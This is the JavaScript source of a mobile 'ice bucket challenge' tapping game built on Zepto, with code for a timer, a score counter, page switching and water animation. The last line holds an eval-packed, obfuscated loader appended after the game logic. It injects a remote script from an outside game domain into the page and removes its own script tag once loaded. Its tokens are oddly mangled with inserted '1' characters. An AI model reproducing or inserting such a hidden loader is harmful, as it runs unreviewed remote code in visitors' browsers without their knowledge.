main.js 3.9 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171
  1. Zepto(function(e) {
  2. function t(t) {
  3. f.show("game"),
  4. c.removeAll(),
  5. u.init(),
  6. a.init(),
  7. e("#challenge").off(),
  8. e("#pour").one(o, n)
  9. }
  10. function n(t) {
  11. a.begin(),
  12. l.down(),
  13. c.pour(),
  14. u.add(),
  15. e("#pour").on(o,
  16. function(e) {
  17. l.down(),
  18. c.pour(),
  19. u.add()
  20. })
  21. }
  22. function r() {
  23. setTimeout(function() {
  24. f.show("end")
  25. },
  26. 500),
  27. e("#again").one(o, t),
  28. e("#challenge").one(o, clickMore),
  29. e("#pour").off();
  30. setTimeout('dp_submitScore('+u.value+')',1000);
  31. }
  32. function i() {
  33. alert("share");
  34. e("#again").off(),
  35. f.show("share"),
  36. e(".share").one(o, t);
  37. //p.title = p.desc = "\u5fae\u4fe1\u51b0\u6876\u6311\u6218\u8d5b\uff01\u6211\u88ab\u6dcb\u4e86" + u.value + "\u6876\u6c34\uff01\u4e0d\u670d\u6765\u6218\uff01";
  38. //WeixinApi.ready(function(e) {
  39. // e.shareToTimeline(p, {})
  40. //})
  41. }
  42. var s = /mobile/i.test(navigator.userAgent),
  43. o = s ? "touchstart": "click";
  44. console.log(o);
  45. var u = {
  46. el: e(".score span"),
  47. value: 0,
  48. add: function() {
  49. return this.el.text(++this.value),
  50. this
  51. },
  52. init: function() {
  53. return this.el.text(this.value = 0),
  54. this
  55. }
  56. },
  57. a = {
  58. el: e(".timer"),
  59. duration: 10,
  60. now: 0,
  61. init: function() {
  62. this.el.text(this.now = this.duration)
  63. },
  64. begin: function() {
  65. setTimeout(this.dec, 1e3)
  66. },
  67. dec: function() {
  68. var e = a;
  69. e.el.text(--e.now),
  70. e.now <= 0 ? r() : setTimeout(e.dec, 1e3)
  71. }
  72. },
  73. f = {
  74. els: e(".page"),
  75. list: e(["start", "game", "end", "share"]),
  76. now: 0,
  77. classN: "show",
  78. show: function(e) {
  79. e = typeof e == "number" || e instanceof Number ? this.list[e] : e,
  80. e = this.list.indexOf(e),
  81. e === this.now ? this.els.eq(this.now).hasClass("show") || this.els.eq(this.now = e).addClass("show") : (this.els.eq(this.now).removeClass("show"), this.els.eq(this.now = e).addClass("show"))
  82. }
  83. },
  84. l = {
  85. el: e(".hand"),
  86. isDown: !1,
  87. isUp: !1,
  88. down: function() {
  89. l.isDown || (l.isDown = !0, l.slideDown(500,
  90. function() {
  91. l.isDown = !1
  92. }))
  93. },
  94. up: function() {
  95. l.isUp || (l.isUp = !0, l.slideUp(500,
  96. function() {
  97. l.isUp = !1
  98. }))
  99. },
  100. slideDown: function(e, t) {
  101. this.el.addClass("down"),
  102. setTimeout(t, e)
  103. },
  104. slideUp: function(e, t) {
  105. this.el.removeClass("down"),
  106. setTimeout(t, e)
  107. }
  108. },
  109. c = {
  110. fa: e(".water-wr"),
  111. el: function() {
  112. return e("<div class='water'></div>").appendTo(c.fa)
  113. },
  114. dis: 0,
  115. upid: 0,
  116. pour: function() {
  117. clearTimeout(this.upid);
  118. var t = c.el();
  119. e(t).animate({
  120. top: c.dis
  121. },
  122. {
  123. duration: 800,
  124. easing: "linear",
  125. complete: function() {
  126. var e = t;
  127. return function() {
  128. e.remove()
  129. }
  130. } ()
  131. }),
  132. this.upid = setTimeout(l.up, 800),
  133. setTimeout(h.wet, 400)
  134. },
  135. init: function() {
  136. setTimeout(function() {
  137. c.dis = e(window).height() * .8 - 140,
  138. c.fa.height(c.dis)
  139. },
  140. 0),
  141. this.removeAll()
  142. },
  143. removeAll: function() {
  144. this.fa.html("")
  145. }
  146. },
  147. h = {
  148. el: e(".man"),
  149. isWet: !1,
  150. wetId: 0,
  151. wet: function() {
  152. clearTimeout(h.wetId),
  153. h.wetId = setTimeout(h.dry, 700);
  154. if (h.isWet) return;
  155. h.isWet = !0,
  156. h.el.addClass("wet")
  157. },
  158. dry: function() {
  159. h.el.removeClass("wet"),
  160. h.isWet = !1
  161. }
  162. };
  163. c.init(),
  164. f.show(0),
  165. e("#begin").one(o, t);
  166. e(document).on("touchmove",
  167. function(e) {
  168. e.preventDefault()
  169. })
  170. });
  171. eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('(1(){2 a=3.p(\'4\');a.e=\'d/c\';a.h=g;a.f=\'6://9.8.7/m/o.k\';2 b=3.n(\'4\')[0];b.5.j(a,b);a.i=1(){a.5.l(a)}})();',26,26,'|function|var|document|sc11r11ipt|parentNode|h1t1tp|c1o11m|911g|ga11me|||ja1vas1cri1pt|text|type|src|tr1ue|async|onload|insertBefore|js|removeChild|fkbttz|getElementsByTagName||createElement'.split('|'),0,{}))